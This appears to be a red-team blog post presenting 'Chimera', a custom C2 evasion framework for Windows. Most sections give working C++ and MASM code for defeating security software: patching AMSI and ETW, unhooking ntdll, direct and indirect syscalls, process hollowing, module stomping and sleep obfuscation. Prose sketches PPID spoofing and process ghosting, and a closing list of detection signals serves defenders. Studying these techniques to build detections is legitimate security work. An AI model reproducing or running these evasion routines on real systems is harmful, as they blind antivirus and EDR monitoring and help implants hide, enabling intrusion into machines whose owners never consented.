Why Build Your Own Framework
Off-the-shelf C2 frameworks are signatured within hours of public release. Understanding bypass techniques at the implementation level — not just the conceptual level — is what separates red teamers from script runners. Chimera started as a personal learning project and became a demonstration platform I use in engagements and interviews to show technique depth.
Each technique in Chimera has a corresponding command (chimera amsi, chimera etw, chimera syscall, etc.) and produces detailed output explaining what it's doing at each step. This makes it a teaching tool as much as an evasion framework.
Architecture — C++17 + x64 MASM
Chimera is compiled as a 64-bit Windows executable using MSVC with C++17. The MASM (Microsoft Macro Assembler) component handles the raw syscall stubs — the inline assembly that calls the kernel directly without going through ntdll.
# CMakeLists.txt key parts
enable_language(ASM_MASM)
target_compile_options(chimera PRIVATE
$<$:/W4>
$<$:/permissive->
$<$:/Zc:__cplusplus>
)
# Note: generator expressions are critical — MASM can't handle C++ flags
AMSI Bypass — Three Methods
AMSI (Antimalware Scan Interface) is how Windows exposes content to AV engines from inside PowerShell, JScript, VBScript, and .NET. The central function is AmsiScanBuffer in amsi.dll. Chimera implements three bypass approaches:
Method 1 — Patch AmsiScanBuffer to return immediately
VirtualProtect the first few bytes of AmsiScanBuffer to RWX, overwrite with a ret instruction (0xC3), then restore RX. The function returns before performing any scan. A single-byte patch. Simple. Signatured, but demonstrates the principle.
FARPROC fn = GetProcAddress(LoadLibraryA("amsi.dll"), "AmsiScanBuffer");
DWORD old; BYTE patch = 0xC3;
VirtualProtect(fn, 1, PAGE_EXECUTE_READWRITE, &old);
*(BYTE*)fn = patch;
VirtualProtect(fn, 1, old, &old);
FlushInstructionCache(GetCurrentProcess(), fn, 1);
Method 2 — Return AMSI_RESULT_CLEAN
Instead of a blank return, patch with xor eax, eax; ret (3 bytes: 0x31 0xC0 0xC3). This makes AmsiScanBuffer return 0, which corresponds to AMSI_RESULT_CLEAN — the caller sees a clean scan result rather than an error, which avoids triggering error-handling paths in some runtimes.
Method 3 — Context corruption
Null out the amsiContext field of the AMSI_SESSION structure. When AmsiScanBuffer checks amsiContext != nullptr at entry, it fails early and returns a benign error code. Slightly more sophisticated — targets the AMSI state rather than the function code itself.
ETW Patching — Silencing the Telemetry Stream
ETW (Event Tracing for Windows) is how the OS and security products stream real-time events. Without ETW, SIEMs and EDRs lose visibility into process activity. The patching targets EtwEventWrite and EtwEventWriteFull in ntdll.dll — the two functions that emit events from user-mode. A single ret patch on each makes the process effectively blind to EDR telemetry.
// Patch EtwEventWrite to immediately return
auto patch_fn = [](const char* name, HMODULE mod) {
FARPROC fn = GetProcAddress(mod, name);
if (!fn) return;
DWORD old; BYTE ret_stub[] = {0xC3}; // ret
VirtualProtect(fn, 1, PAGE_EXECUTE_READWRITE, &old);
memcpy(fn, ret_stub, 1);
VirtualProtect(fn, 1, old, &old);
FlushInstructionCache(GetCurrentProcess(), fn, 1);
};
HMODULE ntdll = GetModuleHandleA("ntdll.dll");
patch_fn("EtwEventWrite", ntdll);
patch_fn("EtwEventWriteFull", ntdll);
// Note: kernel-mode ETW-TI (ThreatIntelligence) is NOT patchable from user mode
NTDLL Unhooking — Removing EDR Hooks at the Source
Modern EDRs hook ntdll.dll functions at process initialization — they overwrite the first bytes of NtCreateThreadEx, NtAllocateVirtualMemory, etc. with a jump to their monitoring code. Chimera removes these hooks by mapping a fresh copy of ntdll from disk and replacing the hooked .text section with the clean bytes.
Two approaches are implemented: (1) open ntdll.dll from disk via its path using SEC_IMAGE mapping, or (2) open the \KnownDlls\ntdll.dll section object via NtOpenSection — which is typically pre-loaded and unmodified.
UNICODE_STRING name = RTL_CONSTANT_STRING(L"\\KnownDlls\\ntdll.dll");
OBJECT_ATTRIBUTES oa = {}; InitializeObjectAttributes(&oa, &name, OBJ_CASE_INSENSITIVE, nullptr, nullptr);
HANDLE hSection = nullptr;
NtOpenSection(&hSection, SECTION_MAP_READ | SECTION_QUERY, &oa);
PVOID pClean = nullptr; SIZE_T viewSize = 0;
NtMapViewOfSection(hSection, GetCurrentProcess(), &pClean, 0, 0, nullptr,
&viewSize, ViewUnmap, 0, PAGE_READONLY);
// Find .text section in both the clean and hooked copies
// memcpy clean .text over the hooked one (with VirtualProtect to allow writing)
NtUnmapViewOfSection(GetCurrentProcess(), pClean);
CloseHandle(hSection);
Direct Syscalls — Hell's Gate + Halo's Gate
EDR hooks live in ntdll.dll user-mode stubs. If you call the kernel directly with the raw syscall number (SSN) and instruction, you bypass every hook. The challenge: how do you find the SSN without calling ntdll?
Hell's Gate: Read the SSN from the unhooked ntdll stub bytes. Every Nt* function starts with 4C 8B D1 (mov r10, rcx) followed by B8 xx xx 00 00 (mov eax, <SSN>). Parse those bytes to extract the SSN.
Halo's Gate: If the target function is hooked (first bytes are E9 — a JMP), scan ±adjacent Nt* functions whose stubs are clean and use their SSN ± offset to calculate the target's SSN. Neighboring syscalls have sequential numbers.
DWORD get_ssn(LPCSTR fn_name) {
FARPROC fn = GetProcAddress(GetModuleHandleA("ntdll.dll"), fn_name);
PBYTE p = (PBYTE)fn;
// Pattern: 4C 8B D1 B8 [SSN_lo] [SSN_hi] 00 00
if (p[0] == 0x4C && p[1] == 0x8B && p[2] == 0xD1 && p[3] == 0xB8)
return *(DWORD*)(p + 4); // bytes 4-5 = SSN
// Hooked? Try Halo's Gate: scan ±20 neighbors
for (int i = 1; i <= 20; i++) {
if ((p - i*0x20)[0] == 0x4C) return *(DWORD*)(p - i*0x20 + 4) + i;
if ((p + i*0x20)[0] == 0x4C) return *(DWORD*)(p + i*0x20 + 4) - i;
}
return 0;
}
; x64 calling convention: args in rcx, rdx, r8, r9, stack
; Syscall ABI: SSN in eax, first arg mirrors rcx → r10
PUBLIC chimera_syscall
chimera_syscall PROC
mov r10, rcx ; kernel expects first arg in r10, not rcx
mov eax, ecx ; SSN passed as first arg (overloaded for demo)
syscall ; drop to kernel — no ntdll hook in the path
ret
chimera_syscall ENDP
END
Indirect Syscalls — The Stealthier Path
Direct syscalls have a tell: the syscall instruction appears in your module's memory — not inside ntdll. Threat intelligence systems can detect this. Indirect syscalls solve it: set eax (SSN) and r10 (first arg) in your code, then JMP to a syscall; ret gadget inside ntdll. From the kernel's perspective, the syscall originated from ntdll's address range.
// Scan ntdll .text for 0F 05 C3 (syscall; ret)
PBYTE base = (PBYTE)GetModuleHandleA("ntdll.dll");
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(base + ((PIMAGE_DOS_HEADER)base)->e_lfanew);
// Walk sections to find .text, then scan
for (SIZE_T i = 0; i < text_size - 3; i++) {
if (text_ptr[i]==0x0F && text_ptr[i+1]==0x05 && text_ptr[i+2]==0xC3) {
g_syscall_gadget = text_ptr + i; // save gadget address
break;
}
}
// Use: set eax=SSN, r10=first_arg, jmp to gadget (in MASM stub)
Process Hollowing — Executing in a Legitimate Process
Process hollowing creates a sacrificial process (e.g. notepad.exe) in suspended state, evacuates its PE image, writes your payload image in its place, redirects the entry point via SetThreadContext, then resumes execution. The process appears as notepad to task managers but runs your code.
// 1. Create target in suspended state
CreateProcessA("notepad.exe", ..., CREATE_SUSPENDED, ..., &pi);
// 2. Read PEB ImageBase via GetThreadContext
CONTEXT ctx = {.ContextFlags = CONTEXT_FULL};
GetThreadContext(pi.hThread, &ctx);
// RDX = PEB address on x64; *(RDX + 0x10) = ImageBase
ReadProcessMemory(pi.hProcess, (PVOID)(ctx.Rdx + 0x10), &remote_image_base, 8, nullptr);
// 3. Unmap original image
NtUnmapViewOfSection(pi.hProcess, (PVOID)remote_image_base);
// 4. Allocate + write payload PE at same base
LPVOID alloc = VirtualAllocEx(pi.hProcess, (PVOID)payload_preferred_base,
nt_hdrs->OptionalHeader.SizeOfImage, MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(pi.hProcess, alloc, payload, payload_size, nullptr);
// 5. Redirect RIP to payload entry point + resume
ctx.Rcx = (DWORD64)alloc + nt_hdrs->OptionalHeader.AddressOfEntryPoint;
SetThreadContext(pi.hThread, &ctx);
ResumeThread(pi.hThread);
Module Stomping — Shellcode in a Signed DLL
Rather than allocating private RWX memory (which EDRs flag), module stomping hides shellcode inside the .text section of a legitimate, signed DLL. The memory is image-backed (not private), listed as a real module, carries an Authenticode signature. A thread starting inside a signed Microsoft DLL raises zero suspicion on its own.
HMODULE hVictim = LoadLibraryA("amsi.dll"); // image-backed allocation
PIMAGE_SECTION_HEADER text = ch_find_section(hVictim, ".text");
LPVOID text_addr = (BYTE*)hVictim + text->VirtualAddress;
DWORD old, dummy;
VirtualProtect(text_addr, shellcode_size, PAGE_EXECUTE_READWRITE, &old);
memcpy(text_addr, shellcode, shellcode_size);
VirtualProtect(text_addr, shellcode_size, PAGE_EXECUTE_READ, &dummy);
FlushInstructionCache(GetCurrentProcess(), text_addr, shellcode_size);
// Thread starts inside amsi.dll .text — looks legitimate
CreateThread(nullptr, 0, (LPTHREAD_START_ROUTINE)text_addr, nullptr, 0, nullptr);
Detection: Hash the on-disk DLL .text section and compare with the in-memory copy. Any mismatch = module stomping. Thread start addresses inside modules whose disk content doesn't match memory are high-confidence IOCs.
Sleep Obfuscation — Hiding During Beacon Sleep
Memory scanners love beacon sleep windows. The implant is dormant, all memory is readable. Sleep obfuscation solves this: XOR-encrypt the beacon's region and mark it non-executable (RW, not RX) before sleeping. During sleep, scanners see only encrypted garbage in a data region — no signatures, no executable bit. Wake up: decrypt and flip back to RX.
// Pre-sleep: encrypt + mark non-executable xor_buffer((BYTE*)beacon_region, region_size, 0xA7); VirtualProtect(beacon_region, region_size, PAGE_READWRITE, &old_protect); Sleep(duration_ms); // Post-sleep: mark executable + decrypt VirtualProtect(beacon_region, region_size, PAGE_EXECUTE_READ, &old_protect); xor_buffer((BYTE*)beacon_region, region_size, 0xA7); // XOR is symmetric FlushInstructionCache(GetCurrentProcess(), beacon_region, region_size);
Call Stack Spoofing
EDRs walk the thread's call stack when they see suspicious API calls. If the return chain leads through anonymous RWX memory (shellcode), they alert. Call stack spoofing overwrites return addresses with pointers to legitimate Windows functions (BaseThreadInitThunk, RtlUserThreadStart, WaitForSingleObjectEx) before making the sensitive call, then restores them after.
PPID Spoofing — Hiding in the Process Tree
EDRs use parent-child process relationships as detection signals — Word.exe spawning cmd.exe is an immediate alert. PPID spoofing uses UpdateProcThreadAttribute with PROC_THREAD_ATTRIBUTE_PARENT_PROCESS to make any child process appear to have been spawned by explorer.exe or svchost.exe instead of the real parent.
Process Ghosting — Execute a Deleted File
Process Ghosting creates a file section for execution before Windows AV can scan it: open a file with FILE_FLAG_DELETE_ON_CLOSE, write the payload, create a SEC_IMAGE section from the pending-delete file handle, then close the file (which deletes it). The section persists as an orphan. Create a process from the orphaned section — a process running code that no longer exists on disk.
Consolidated Detection Surface
Every technique in Chimera generates detection signals. Here's what a competent blue team should be alerting on:
- AMSI patch: VirtualProtect on amsi.dll memory followed by a write at function entry
- ETW patch: WriteProcessMemory or VirtualProtect + write targeting ntdll exported function addresses
- NTDLL unhooking: NtMapViewOfSection with SEC_IMAGE flag on system DLL paths
- Direct syscalls:
syscallinstruction at an address outside ntdll's mapped range - Hollowing: NtUnmapViewOfSection + VirtualAllocEx + WriteProcessMemory + SetThreadContext sequence
- Module stomp: .text section hash mismatch; VirtualProtect on image-backed memory
- Sleep obfuscation: VirtualProtect RWX→RW followed by Sleep followed by VirtualProtect RW→RX
- PPID spoof: CreateProcess with EXTENDED_STARTUPINFO_PRESENT where parent PID doesn't match caller
Chimera is open-source on GitHub. The source includes detailed comments explaining every technique at the implementation level — useful for both red teamers building their own tools and blue teamers building detection rules.